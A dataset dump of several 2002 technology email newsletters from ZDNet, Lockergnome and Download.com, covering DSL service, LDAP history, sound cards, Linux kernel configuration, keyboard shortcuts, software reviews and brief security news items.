people to run servers on their DSL connection. When looking at their packages, I suggest you look at the 'Home Services' page. They even have ADSL up to 1.5M downstream / 768k upstream, which I have not seen from any other provider. And that is less than $200 a month, which is a bargain when you start looking at the prices of a 768k SDSL line!"" And Stuart Portner is chock full of common sense: ""Remember that a lot of DSL providers give you the modem for free and prefer that you use theirs - at least for initial setup / shakedown period."" All the more fries for me, dude! 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ZDNet is a registered service mark of CNET Networks, Inc.",0,1 ZDNet Tech Update Today ,qqqqqqqqqq-zdnet@example.com,"Tue, 16 Jul 2002 05:26:26 -0700 (PDT)",Bridging the gap between Liberty and Microsoft (Tech Update)," ![Tech Update Today](http://www.zdnet.com/techupdate/i/itnewsletter_today.gif) | | ![](http://www.zdnet.com/techupdate/i/gl_corner2.gif) ---|---|--- ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots248.gif) ![Tech Update Today](http://www.zdnet.com/techupdate/i/news_tech_header.gif) ![](http://www.zdnet.com/techupdate/i/dots248.gif) VITAL SIGNS FOR JULY 15, 2002 ![](http://www.zdnet.com/techupdate/i/dots248.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/techupdate/i/dberlind.gif) --- **David Berlind** **Bridging the gap between Liberty and Microsoft** It appears that we are closer to a solution for single sign-on and identity management. But what if Microsoft chooses not to support Liberty's specifications? ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Let's look at the worst-case scenario** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) **Latest from ZDNet News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) White House reviews security backbone ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) HP deletes e-business software ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Breaking the wireless speed barrier? ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Pentium 4 to power Dell budget PCs ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) AMD chips at mobile, flash markets ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Norway cancels Microsoft contract ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Hackers challenge Internet monitoring ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **More Enterprise News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots249.gif) ![](http://www.zdnet.com/b.gif) **Farber's Picks** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) ![](http://image.com.com/techupdate/i/dfarber.jpg) Dan Farber ![](http://www.zdnet.com/techupdate/i/dots75.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Microsoft stresses security for Exchange** Microsoft is readying a new Exchange Server e-mail system, with improved security, a facelift for Outlook, and better support for cell phones and other handhelds. The upcoming version, the company's first major update of the product since releasing Exchange 2000 nearly two years ago, will by default **disable certain messaging features** to prevent hackers and virus makers from taking advantage of openings. While Microsoft's biggest nemesis in the e-mail and messaging market is **Lotus** , the company also competes against **Novell** and newcomer **Oracle** , which plans to release its own e-mail and messaging software later this year. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** **IBM puts more bite in 'Shark'** Can IBM's release of a new top-end ""Shark"" **enterprise storage system** boost the company's prospects in the depressed storage market? Big Blue has fixed many early Shark problems, improving everything from data transfer capabilities to cache size, and adding **RAID 10 support** and Eliza self- healing features. But IBM faces the still dominant **EMC** , which last week lured away Mark Lewis from HP to become its new CTO; and **Hitachi** , which still boasts the technology edge. IBM's edge is its ability to bundle Shark sales with related server and service deals. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** **Report: Linux hack attacks on the rise** Hackers are increasingly targeting Linux-based Web servers, while the number of successful attacks on **Windows** systems has decreased, according to a new report. Linux server applications are often vulnerable to attack because of **mismanagement** , according to the study, which urges Linux system administrators to be more vigilant about patching known security bugs. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** **Frethem worm variant: ""Re: Your password!""** An e-mail message that promises to reveal **secret information** with a password is a variant from the pesky Frethem worm family. Frethem.k (aka w32.frethem.k@mm) is a more robust version of Frethem.e, which uses its own SMTP engine to send e-mail using addresses obtained from infected systems. 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Download & test-drive OpalisRobot today! --- Being that I have a print subscription to PocketPC Magazine, I haven't been by their website in quite some time, so when Hal Goldstein informed me of a new electronic delivery method that they've employed, I felt obligated to give it a spin. You can check out the September 2002 Issue of the Digital Edition and see if you like reading the mag in that format better than the print variety. A Software and Accessories Encyclopedia is also new to the site since my last belated visit. I've also been using my PocketPC quite a bit lately, but not for data. It's found a more frequent home on my belt as an MP3 player ever since Diana's dad gave us a bicycle. Going out for a morning ride has been quite pleasurable, and it's nice to bring along some tunes. I've tried both the Compaq iPaq 3870 and HP Jornada 565, and have been more pleased with the audio ability of the iPaq, due in part to the sound utility Compaq provides to adjust treble and bass levels. It's just a more full-sounding device, in my opinion. See You in August, Randy Nieland GnomeNETWORK --- **LDAP Whodunit** Pondered by Warren Dugas ""Randy, a little question for you: Do you know what LDAP is and how important it is to the world of technology? I'm sure you do - but where did it come from? Hmm, let's put our thinking caps on and try to figure it out. Did Microsoft create it? Hmm - No, how about Novell? Nope. Well, who then?"" History of LDAP http://www.microsoft.com/TechNet/prodtechnol/winntas/evaluate/featfunc/ldapcmr.asp X.500, the OSI directory standard, defines a comprehensive Directory Service, including an information model, namespace, functional model, and authentication framework. X.500 also defines the Directory Access Protocol (DAP) used by clients to access the directory. DAP is a full OSI protocol that contains extensive functionality, much of which is not used by most applications. DAP is significantly more complicated than the more prevalent TCP/IP stack implementations and requires more code and computing horsepower to run. The size and complexity of DAP makes it difficult to run on thin clients, such as the PC and Macintosh where TCP/IP functionality often comes with the machine. DAP stack implementations are cumbersome to administer, thus limiting the acceptance of X.500. Hence in 1993, the folks at University of Michigan, with help from the ISODE Consortium, designed and developed a protocol that would work over TCP/IP and was small enough when implemented to run on a thin client like PC's running the Windows operating system or the Macintosh. The LDAP version 1 Specification was published in March of 1994. The LDAP version 2 Specification was published as rfc 1777 by the Access Searching and Indexing of Directories (ASID) working group in the IETF in March of 1995. In April of 1996, 40 companies including Microsoft, Netscape, and Novell separately announced support for LDAP protocol in their Directory Services products in order that they may in turn operate with each other and integrate with the Internet. LDAP version 3.0 has gone through several drafts but at this time is not finished. GnomeSYSTEM --- **Looking for Sound** Suggested by Corey Hollett http://www.turtlebeach.com/site/products/santacruz/whatdoineed.asp http://www.3dsoundsurge.com/reviews/earlyimpressions/ProMedia51.html _""I've just gone on an extensive hunt for the best sound card and speaker set combination for 5.1 sound. My criteria were that it be excellent for games, music, and dvd playback. A price under $500.00 was also a strong point.""_ Corey came to the same conclusion that others have in two respects. Creative has long maintained a healthy share of the sound card market with a solid name and decent products. Audiophiles know of other brands as well, such as Turtle Beach and Philips, which also produce quality sound cards and at attractive price points. Corey decided on the Turtle Beach Santa Cruz card, a great choice. His choice of speaker systems reinforced my own feelings on the subject. I own two Klipsch speaker sets, the ProMedia 2.400 and most recently the ProMedia 5.1. The 2.400 system was the subject of many positive reviews, and believe me when I say that the ProMedia 5.1 leaves the 2.400 in the dust. The above review that Corey pointed out hits the high points, and is actually quite in- depth for an ""initial"" review. I'm itching to see if they eventually do write up a more complete version, as mentioned in the article. GnomeALERTZ --- **Today's Top 5 kbAlertz** * Q269272 - Mail Client Address List Truncated Using ""Mailto:"" Link If Tag Exceeds 260 Characters (Q269272) * Q313043 - FIX: Creation of Local Cube Fails (Q313043) * Q320273 - Subfolders of a Web Folder Are Not Enumerated in the Folders Pane in Windows XP (Q320273) * Q241210 - Drive List Shows Only Program Drive in 16-Bit and 32-Bit Programs (Q241210) * Q241189 - SNMP Memory Leak in Windows NT4.0 Peer-to-Peer Network (Q241189) **GET HIGH-SPEED ACCESS:** Verizon Online DSL is an affordable, high-speed Internet connection. Click here to see if Verizon Online DSL is available in your area. ![](http://www.qksrv.net/image-471546-2202776) --- Recommend It! GnomeASSISTANT --- **QuickTime 6 Released** http://www.apple.com/quicktime/download/ With the debut of QuickTime 6, we can assume that the licensing haggles over MPEG-4 have been resolved, making way for the long-awaited release. MPEG-4 isn't the only addition, joining a new AAC audio codec that is a favorite among professionals. Streaming media skip protection, Flash 5 support and better AppleScript functionality also tag along. As always, there is a standard free version available for download, but the Pro edition adds additional features, such as full screen video playback, the ability to create MPEG-4 content and editing features not present in the free player. GnomeSTUFF --- **Microtel & WalMart Love Linux** http://www.theregister.co.uk/content/4/26192.html WalMart is selling Microtel PCs, but with a slight twist. They were one of the first manufacturers to preinstall LindowsOS and offer systems to the retail market through WalMart.com, and now Mandrake is being offered as a pre- installed choice in operating systems. These options give potential Linux users an easier way to get started without having to build their own system from scratch or deal with driver issues, while still maintaining a low overall cost. A Pentium 4 2GHz system with a CD-RW drive goes for as little as $648 with Mandrake Linux, so not too shabby at all. Recommend It! | http://www.lockergnome.com/issues/techspecialist/20020716.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. For further information, please refer to the GnomeCREDITS in the sidebar. --- | LOOK OVER HERE --- Download Tip eBooks Latest Windows Daily Latest Digital Media Latest Tech Specialist Latest Penguin Shell Latest Apple Core Latest Web Weekly Latest Bits & Bytes Latest Audio Show Low Price Search Our Tech Conference Microsoft Office Tips PC Productivity Tips Cool Internet Tips Windows 2000 Tips Windows XP Tips Tell a Friend About Us! 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ISSN: 1095-3965. All Rights Reserved. Please read our Terms of Service. Our Web site is hosted by DigitalDaze. Domain registered at DNS Central. ",0,1 Lockergnome Penguin Shell,qqqqqqqqqq-lg@example.com,"Tue, 16 Jul 2002 12:17:29 -0500",[Lockergnome Penguin Shell] Good Hearts,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![Linux Central](http://www.qksrv.net/image-471546-487847) --- | 07.15.2002 PenguinREPORT --- **CAREER SERVICES FROM LOCKERGNOME AND DICE.COM:** We've teamed up with Dice.com to bring you a full service I.T. career enhancement solution. Whether you are looking for your dream job or trying to hire talented people, the full-featured career resource center is the place to start. Find your IT talent solution today! --- You're a good bunch, you Penguins. Today's GnomeVOICE really tells the story better than I can, but I'll give you a quick summary. Through your efforts and compassion, reader Karl Steenblik has found a new electronic home for the Foundation for Children and Youth With Diabetes. I'll let Karl tell you which offered solution suited his needs. But, with the volume of responses his request for help generated, it's almost irrelevant. As I expected, we came together as a community and collectively offered him many viable choices from which to pick a solution that would work for the kids. The global scope of your concern and our collective ability to effect a change has humbled me once again. Just when you start to get a little callous about the 'Net ... Accordingly, I'd like to sketch out an idea with you that can be an ongoing part of Penguin Shell. It's an open discussion, really, about how we can further put our technical skills (be they Linux _or_ Windows skills) to work for a good cause. I'm proposing that we start an organized volunteer effort, based in the Penguin Shell readership, to provide volunteer technical services to worthwhile charitable organizations. First, we need a name that clearly describes our purpose. Next, we need volunteers with the time and ability to lend those skills to a good cause. Finally, we'll need some suggestions as to the charitable organizations that are near and dear to your heart. Or, maybe the organization is one you're already working with - one you're certain can use some hands-on or remote volunteer help. I'll start that ball rolling with a personal organizational suggestions - the Aicardi Syndrome Foundation. Though I don't currently know their technical needs, I do know that the syndrome is very rare - read ""research and technical dollars are minimal."" I'm sure we can, as a group, provide them a way to fill existing technical holes. That's just a suggestion. Feel free to use the mailto links above to make others. Over the next few weeks, I plan on modifying my current favorite blogging program, GeekLog to pull together a community project area where interested parties can gather, coordinate and discuss whatever this project might become. I'll keep you posted on the details. In one of the earliest issues of Penguin Shell, I told a story about Emperor Penguins - how they huddle together on the shore, knowing that their protection from predators lies in sheer numbers. When one takes the leap into the water, all the others follow; individual involvement for the good of the community. Where could the analogy possibly be more fitting? Tony Steidler-Dennison GnomeTWEAK --- **Lockergnome readers, SAVE 50% on the Computing Encyclopedia!** Are you looking for the ultimate computing resource? Discover the _Computing Encyclopedia_ from Smart Computing. Regular price $59, SPECIAL OFFER for Lockergnome readers, get your set TODAY, ONLY $29.95! --- **Quick Shortcuts** Linux is chock full of keyboard shortcuts that, when used, streamline the way you use your system. Today's Tweaks are really user tweaks - built in shortcuts you can use to maximize your Linux efficiency. You don't have to change your system, just how you use what's already there. They're two tips that are quick and very easy to learn and remember. Got a cluttered console screen? Use **[ctrl]+l** to clear it. This does the same thing as the **clear** command with far fewer keystrokes. Do you want to log out of the console screen quickly? Use the **[ctrl+d** key combination. This will log out the current user. If you're using bash and the current user is not root, the [ctrl]+d combination will close the terminal window, as well. To me, any opportunity to save keystrokes is a good one. Better yet, if I can avoid having to take my fingers from the keyboard to reach for the mouse, then I've really saved some time. Though it's tough to quantify the time savings using these keystroke combination shortcuts, intuitively I can tell you it's substantial. Maximum efficiency. That's what Tweaks are all about. Recommend It! Send us a GnomeTWEAK GnomeCORE --- **Kernel Configuration - Part XI** We've covered some fairly light topics to this point in the kernel configuration series. Today's topic requires a bit of review. We'll discuss configuring block devices in your kernel. We've talked about the different types of devices in previous Penguin Shell issues. Fundamentally, the two that you'll deal with the most are block and character devices. These draw their type names from the way they handle data. Block devices receive data for storage in chunks, generally pre-set sizes of data ""blocks."" Hard drives are block devices. They'll only write chunks of data to storage. Thus, the problem with shutting down your machine uncleanly. Data intended for storage may not, in fact, have been written at the time your power dies or you hard kill your machine. The system may still be accumulating data up to the proper block size before committing it to the hard drive. Character devices, on the other hand, receive data in ""streams,"" one character at a time. Serial ports are a great example of character devices. They handle data input and output on the fly, rather than filling a buffer _then_ committing the data. The physical nature of these device types goes a long way toward explaining why they handle data as they do. A hard drive has to physically spin up to store or retrieve data. You're actually changing the magnetic properties of the disc surface when you store data. Consequently, a hard drive has to know where there's free space on the disc surface, has to move that area of the disc under the write head and try, as best it can, to group blocks of related data together. Character devices really don't store data as much as they send it off and forget about it. The process is purely electrical rather than electrical and physical. The serial port, for example, sends data in a stream to your Palm Pilot. The storage of the data is actually handled by the Palm itself, not a physical storage device on the computer. There's no need to spin up a drive and account for the data as is necessary with a hard drive. The Palm will also send a signal back to the computer confirming receipt of data. That's an indication that character devices often communicate in both directions, as well. So, when you're configuring block devices in your kernel, you're preparing the system for communicating with a device that will buffer data to a predetermined level, then write that data as a block, changing the physical properties of the hard drive disc surface. Even though that's the highest level view of the process, it still shows how difficult a process physical data storage really is. In the block device section, you'll find many options for physical data storage. When configuring this section, it's crucial to know as much about your existing hardware as possible. What type (brand) of hard drives are you using? What's the interface to the machine - IDE, parallel, etc? Where is the drive located - on the local machine or on a network-connected box? Because the variables are so broad, it's nearly impossible to give you a stock configuration tip that will work for your personal machine every time. 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Click here for details! http://clickthru.online.com/Click?q=d7-wk3ZQLWkDhLMkvyRmBekeVktk2eR <-------------------------------------------> IN THIS ISSUE: 1. This Week's Top 10 Downloads 2. Pick of the Week: Marine Aquarium 3. The Week in Wares: - Multimedia and design: QuickTime, Cartoon Editor - Home and education: MoonDock - Development tools: WebDesign - Games: Sigma Chess Lite 4. Updates & Drivers 5. The Week in Reviews: A TiVo-like toy for the Mac? 6. Overheard on Download.com 7. Download.com Outage Notice P.S. Got a suggestion for CNET Download.com? Send it to: suggestions@download.com _____________________________________________________________ 1. This Week's Top 10 Downloads 1. LimeWire 2.4.4 6,190 downloads 2. LimeWire (OS X) 2.4.4 4,561 downloads 3. MacSatellite 1.6.1 4,313 downloads 4. Hotline Connect Client 1.8.5 3,656 downloads 5. RealPlayer 8.0 2,939 downloads 6. Deck 3.5 2,908 downloads 7. Fetch 4.0.1 2,333 downloads 8. Internet Explorer 5.1.4 2,229 downloads 9. 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Submit your opinion here: http://clickthru.online.com/Click?q=17-agitI5XroKlI4b9Iz4s1RhjGRseR Find all of our Picks here: http://clickthru.online.com/Click?q=2c-DatOIc0DRUD42bbc-r7MBvWpjuyR ______________________________________________________________ 3. The Week in Wares IN MULTIMEDIA AND DESIGN: QUICKTIME Version 6.0 File size: 402K License: Free Minimum requirements: Mac OS 8.6/9.x or Mac OS X The latest version of Apple's premiere media application supports the increasingly popular MPEG-4 codec for high- quality, highly compressed video, as well as modern formats such as AAC (Advanced Audio Codec) and JPEG 2000. It also provides skip protection, an enhanced user interface with a more intuitive and useful Favorites menu, new developer APIs, and other useful features such as support for Flash 5 files. http://clickthru.online.com/Click?q=41-qqJ1IEKIeDjNLmwU5CfCkxHB0FFR Want to review QuickTime? Submit your opinion here: http://clickthru.online.com/Click?q=56-NwKYInnsvJh4BuHrctPQDwwaMC9R CARTOON EDITOR Version: 1.2.1 File size: 2.38MB License: Free Minimum requirements: Mac OS X Cartoon Editor won't turn you into a gifted cartoonist overnight. But what this graphic editor will do is make quick work of creating short QuickTime movies and animated GIFs-- and for OS X freeware, it doesn't get much better than that. Cartoon Editor lets you draw or import JPEGs and GIFs, which you can then manipulate with a set of tools that lets you group, scale, duplicate, ghost, and all sorts of other useful cartoony things. The program's Java2D foundation allows for some surprisingly powerful features, like gradients, antialiasing, splining, and transparencies. http://clickthru.online.com/Click?q=6b-8g5ZIHEcOAstO5H80ywQ-4d0P6cR Want to review Cartoon Editor? Submit your opinion here: http://clickthru.online.com/Click?q=80-KTKvQQ0KYe11T0DoaDkjVsTLZ8iR Find all of the latest multimedia and design software here: http://clickthru.online.com/Click?q=95-XdwrQvdJfe0atPOr1yZeU_u_KnPR IN HOME AND EDUCATION: MOONDOCK Version: 1.2.2 File size: 1.95MB License: Free Minimum Requirements: Mac OS X Get in touch with the natural rhythms of our solar system with MoonDock, a simple piece of software that tracks the phases of the moon for you and displays lovely images of our planet's companion satellite on your desktop. The images are high-quality color photos that change over time in accordance with the date. MoonDock includes both astronomical and survey data, meaning that you can calculate the appropriate moon phase for a particular date and identify topographical features on the moon using a built-in catalog of those that have been surveyed by astronomers and astronauts. This update incorporates improved help features and a few bug fixes. http://clickthru.online.com/Click?q=aa-gBteQXUr_tMV_meWLXZBXqONOVnR Want to review MoonDock? Submit your opinion here: http://clickthru.online.com/Click?q=bf-JtRfQ8Zrg9xPaKu5w8PF_jEuwteR Find all of the latest home and education software here: http://clickthru.online.com/Click?q=d4-E0SqQ0ExoPq8KVw_4Mc3148lk6yR IN DEVELOPMENT TOOLS: WEBDESIGN Version: 1.6 File size: 1.5MB License: Free to try; $28.95 to buy Minimum Requirements: Mac OS 9.x through Mac OS X 10.1.5 Web designers have an array of software choices, from writing straight code in something like SimpleText to automating everything via drag-and-drop programs that keep HTML at arm's length. WebDesign offers a happy medium, with a significant number of nice extras. You can drag-and-drop from menus or edit your syntax line by line; build image maps and forms with relative ease; and work with a full selection of tools for site-wide color scheme changes, text manipulation, and localization. WebDesign supports both HTML and XHTML, along with JavaScript, tabs, and Cascading Style Sheets. This new version lets you view your designs as they will be seen with various browsers, and has more stable editing and FTP tools. http://clickthru.online.com/Click?q=ea-fjLyQhV4XV54QHSAwQ4lAUw-5WnR Want to review WebDesign? Submit your opinion here: http://clickthru.online.com/Click?q=ff-sVoVQms4mycg6wFZxrhBm0WHtheR Find all of the latest development tools here: http://clickthru.online.com/Click?q=14-5MRAIF-zGNg8yFP8ZvQIzTKtR1yR IN GAMES: SIGMA CHESS LITE Version: 6.01 File size: 2.94MB License: Free Minimum Requirements: System 7.x Put your mind to the test with this customizable chess game. Sigma is OS X-native and lets you develop your skills through levels with adjustable difficulty and customizable pieces and boards. What's more, Sigma offers advanced features such as printing functions, player rankings, and the ability to record and collect your matches. http://clickthru.online.com/Click?q=29-Sg_rIjMAh2p0eOyNyGEI9rCM8vlR Want to review Sigma Chess Lite? Submit your opinion here: http://clickthru.online.com/Click?q=3e-F51nIizXmE6GxOG_7DQESNPe-i4R Find all of the latest games here: http://clickthru.online.com/Click?q=53-n86dINn6Z4onc-PjHpx8lOheMncR ______________________________________________________________ 4. Updates & Drivers: Stay on Top of Bug Fixes and New Features IN INTERNET: - Internet Explorer (OS X) 5.2.1 http://clickthru.online.com/Click?q=68-iM8qIsPPH1noIAYywvjsK-FdLPRR - mDialog 1.5 http://clickthru.online.com/Click?q=7d-FFEqIDLPzooVNqPUywq2NRJSBTZR - Email Magician 1.9 http://clickthru.online.com/Click?q=92-ubRVQTzT5OEFHMGzeFOPq1FsnynR IN MULTIMEDIA & DESIGN: - Audacity 1.0 http://clickthru.online.com/Click?q=a7-fR_2Q8BwVK0bvAKLF5vLk7KCgFeR - Audion 3.0 http://clickthru.online.com/Click?q=bd-c0nUQ7py5LqbJMqpAEVgnfqGsJPR - Audion (OS X) 3.0 http://clickthru.online.com/Click?q=d2-THo_QULw1K18AlW3Gl22vbAOyenR IN UTILITIES: - MacAnalysis 2.2.1 http://clickthru.online.com/Click?q=e7-2y-GQmVXoNS0Rb0VqS8CMB0qvseR - SpeedRun 1.1 http://clickthru.online.com/Click?q=fc-WpHmQVwFSZlZa-Pa9-0t3VVat9yR - DockFun! 3 preview 1 http://clickthru.online.com/Click?q=11-l8riI2-4EmyuB-jX3VynhNBuCqlR IN BUSINESS AND FINANCE: - OmniGraffle (OS X) 2.0.5 http://clickthru.online.com/Click?q=26-KqPVIiMHorsZwJdBBBkqU8niQ74R - Sambucus 2.0.1 http://clickthru.online.com/Click?q=3b-XhxVINdHn73JEjnFPcZsjpRp-LrR IN HOME AND EDUCATION: - Blues Music 1.0 http://clickthru.online.com/Click?q=50-M_CBIR0XguMCAewASOnO8CtmMgRR - Dramatica Pro 4.0 http://clickthru.online.com/Click?q=65-K82zIDPtIzc8RGwD70VOf0m8P9ZR - iNotePad 1.6.1 http://clickthru.online.com/Click?q=7a-EE_AIPBjUlSulSvhU6coezkBZXdR _______________________________________________________________ 5. The Week in Reviews: A TiVo-like toy for the Mac? A Macintosh software company plans to launch Monday the first consumer personal video recorder for Mac aficionados. http://clickthru.online.com/Click?q=8f-OOYvQ8KKwfwRqEUXvsg9tyQFWveR _______________________________________________________________ 6. Overheard on Download.com Here are some user comments about a Mac game that takes you back to the days of hanging out at the arcade: ""Cool!"" ""An arcade classic!!!"" ""Great fun without violence!"" ""Addicting!!!!"" ""Excelente"" So what's the name of this mystery download? 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All rights reserved.",0,1 Lockergnome Windows Daily ,qqqqqqqqqq-lg@example.com,"Wed, 17 Jul 2002 00:40:10 -0500",[Lockergnome Windows Daily] Medieval Mocha,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![10354](http://www.winnetmag.com/linkshare/banners/10354.gif)![](http://ad.linksynergy.com/fs- bin/show?id=vdKWfulJxTQ&bids=36698.10000263&type=4&subid=0) --- | 07.17.2002 GnomeREPORT --- **FREE COLOR PRINTERS FROM XEROX - $4,500 VALUE** Enroll in the Xerox FreeColorPrinters program and get a Phaser network color printer for FREE. Small businesses, schools and non-profits have been participating in this risk free program since 1999. Learn more. --- Falling asleep at the wheel is no laughing matter. Still, it kinda happened with yesterday's tip. I forgot to mention that the String value's label is ""Logging"" (sans quotes). That was almost like a cliffhanger, eh? The oversight was totally my fault. I've been thinking about asking Gretchen and Brian to help with future reviews. Don't be surprised if that happens soon. I'm sure you'd welcome a female perspective on this stuff, right? She helped one of our landlords pick a paint color for the ""office"" wall this evening. Does that qualify her to talk about cool stuff that we find for you on the Internet? You betcha. Let's see how she does with the drapes and rugs. I have a feeling I'll be the one tweaking furniture layout. Shouldn't be too much of an issue - yet. I wonder if Ikea has an affiliate program? I've mentioned how Yahoo Mail's beta is mangling our commas, but did you know that it's also (possibly) rewriting your e-mail? If you send an HTML message to someone who has a yahoo.com account, something may get lost in the translation. Try sending this sentence: ""My medieval mocha has an expression to evaluate."" Again, be sure this note is sent in HTML format. The results will surprise you. As far as I can tell, they're doing this to stop any scripts from being distributed to their user base. I must credit Marion Schroll for making me aware of the ""problem."" It's kinda funny, in a weird sort of way. Not that I would want anything I send changed in any way, shape, or form. It begs the question: what next? I mean, where does it all stop? Give them a bit, and they just might take a byte. Censorship is only a stone's throw away. I really feel for Lockergnomie Sharon Clark, who asks: ""What is this crazy business with the broadband metering? What they advertise doesn't seem to be what you get. Now that I'm forking out $60 per month for a supposed metered rate of 640 down / 320 up, I'm feeling clueless and left out in the cold. Not sure what I'm paying for, not sure what's going on at the office, not sure if I'm capped, not sure if I'm getting ripped off! Can you help me out here? I'm feeling lied to; why can't I download 'til my 40 gig is full? That is what they promised me and that is what I THOUGHT I was paying for. I want consistent speed - is this too much to ask?"" It's not too much to ask the question, but it's probably too much to get the answer. I'm facing the same dilemma right now, even though cable-based connectivity isn't available in my area. Expect more and more ""filters"" to be put in place as time marches on. Watch those EULAs, folks. See You in August, Chris Pirillo GnomeDOWNLOADS --- | | **Latest Downloads** --- AntiVir PE 6.14.00.63 MP3 Rename 7.1.4.0 OE-QuoteFix 1.15.5 AntiVir PE f 6.14.00.63 MyKazaa 1.0 EraseTemp 3.1.0.2 ZAP Audio Player 1.20 PocoMail 2.61.1056 Webserver Stress 5.3.4 PhotoMeister 1.04 PopupWar 3.0.75 Disk Triage 6.3.1.0 Broccoli ADS 2.0 Mail REDirect 1.3.240 Mindex Image Vie 2.7.16 **Directory Lister v0.5.2 [547k] W9x/2k/XP FREE** http://freeware.prv.pl/ {List directory contents} When I was younger, I'd get so frustrated at those games where you'd have to pick out all of the subtle differences between two pictures. I'd always end up with one or two that I just could never see. When I want to do the same type of comparison between two directories on my computer, I use Directory Lister and I never miss a thing. Not only does Directory Lister display the contents of your chosen directories, it will also let you save the output to an HTML file. This is great for web developers who want a quick way to list the contents of a ZIP file before archiving it and uploading it to their website. As an added bonus, Directory Lister also shows the date, time, and attributes of the files in your directory, making it easier than ever to compare the differences in files between two directories. **Web Calendar [25k] W2k/XP FREE** http://members.lycos.co.uk/bleucanard/WebCalendar.htm {Web page reminder} Surfing the web as much as I do, I'll occasionally run into a site or page that commits the horrendous faux pas of displaying an ""Under Construction"" banner. I COULD forget about the site and maybe somehow encounter it later, or I COULD drop the site into Web Calendar and have this handy-dandy app remind me to check the page again in a week. The same technique holds true for my normal browsing... for example, I can use Web Calendar to remind me to check out the Digital Media newsletter every morning, or to check Amazon for a CD that I know will be released in a week. Now, I will have no excuse for missing the DVD release of ""Lord of the Rings""... Recommend It! GnomeCLICKS --- ![TECHNOLOGY can be frustrating for new and intermediate computer users, UNTIL NOW. Join us for a FREE Windows Newsletter, video tutorials, articles, special reports, and more!](http://www.lockergnome.com/images/ads/icon.hotwindowstip.gif) | ![The easiest way to Zip/UnZip. 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(It) automatically detects all available ODBC data sources and displays them in an explorer-like tree. User(s) may double-click on data sources to access the databases, browse tables, execute custom queries and export (the) data to .CSV or .XML files."" I didn't really have much on my machine to throw at this program. However, the one data source I did have (mostly related to Music CD creation) displayed perfectly in SQL View. (And I have the .csv file to prove it! Nyah!) Recommend It! GnomeWILDCARD --- **CollegeBAR v8.0 [5.9M] W9x/2k/XP US$20** Unearthed by Shawn Verrall http://www.pracx.com/collegebar.asp {Mix your own drinks} When I was in college, my room used to be known as ""The Bar."" It may have had something do with my L-shaped desk that resembled a bar, and the fact that I had seen the movie Cocktail too many times and wanted to be a bottle-flipping bartender. I never achieved my goal of being the world's best geek bartender, but maybe with College Bar I could have. College Bar contains recipes for over 11,600 drinks. With an online update feature, you can download new drinks as they become available... or you can add your own creative concoctions to the database! College Bar also has a calculator to determine someone's blood alcohol level... drink responsibly, folks. As an added bonus, you can load some of your favorite party pictures into the program and you'll see a slide show of those pictures - a great way to remember the good times... unless you don't remember experiencing them in the first place, that is. Dude, where's my car? Submit Your Thoughts | Recommend It! GnomeFAVORITE --- **Buy One Inkjet Cartridge - GET TWO FREE!!** Buy 1 Get 2 FREE on Most Epson, Canon, and Apple Cartridges. Wholesale Pricing on Lexmark Cartridges. Free Shipping on orders $25 or more!! U.S. Shipping Only. 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Occasionally I like to view the web or Windows Explorer in Full Screen mode... to do this I just hit F11 on the keyboard and there I am in Full Screen mode. Hit it again and I am back to regular mode. If you aren't as much of a fan of keyboard shortcuts as me, then all you have to do is press and hold the Ctrl key while clicking on the Maximize button and you will have the same effect. You will notice, however, that your Start Menu isn't anywhere to be seen. Never fear, another keyboard shortcut is here... just press Ctrl key plus the Esc key and your Start Menu will be back where it belongs. Alternatively, if you have a Windows key on your keyboard you can use that key to bring up your Start Menu as well. Recommend It! | http://www.lockergnome.com/issues/daily/20020717.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. 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The ""ZIP"" in Zip Code stands for ""Zoning Improvement Plan."" ",0,1 Lockergnome Apple Core ,qqqqqqqqqq-lg@example.com,"Wed, 17 Jul 2002 01:49:41 -0500",[Lockergnome Apple Core] Intuitive Cash,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![See You at Gnomedex 2002!](http://www.lockergnome.com/images/ads/gnomedex2002banner.gif) --- | 07.16.2002 GnomeREPORT --- **Content Management Is Key:** Need a reason your boss should be sending you to Gnomedex? Some of the leading experts on content management solutions (those things we affectionately call blogs) will be sharing the future of blogging and how you can adapt it to both the way you do business and the way you communicate in general. Join Evan Williams and Doc Searls as they share pearls of wisdom on blogging, Linux and other open source applications that are changing our lives. If that's not enough incentive, remind the boss that THE Internet security guru, Steve Gibson, will be sharing his wisdom as well. Register for Gnomedex today! --- Of the comments I received on 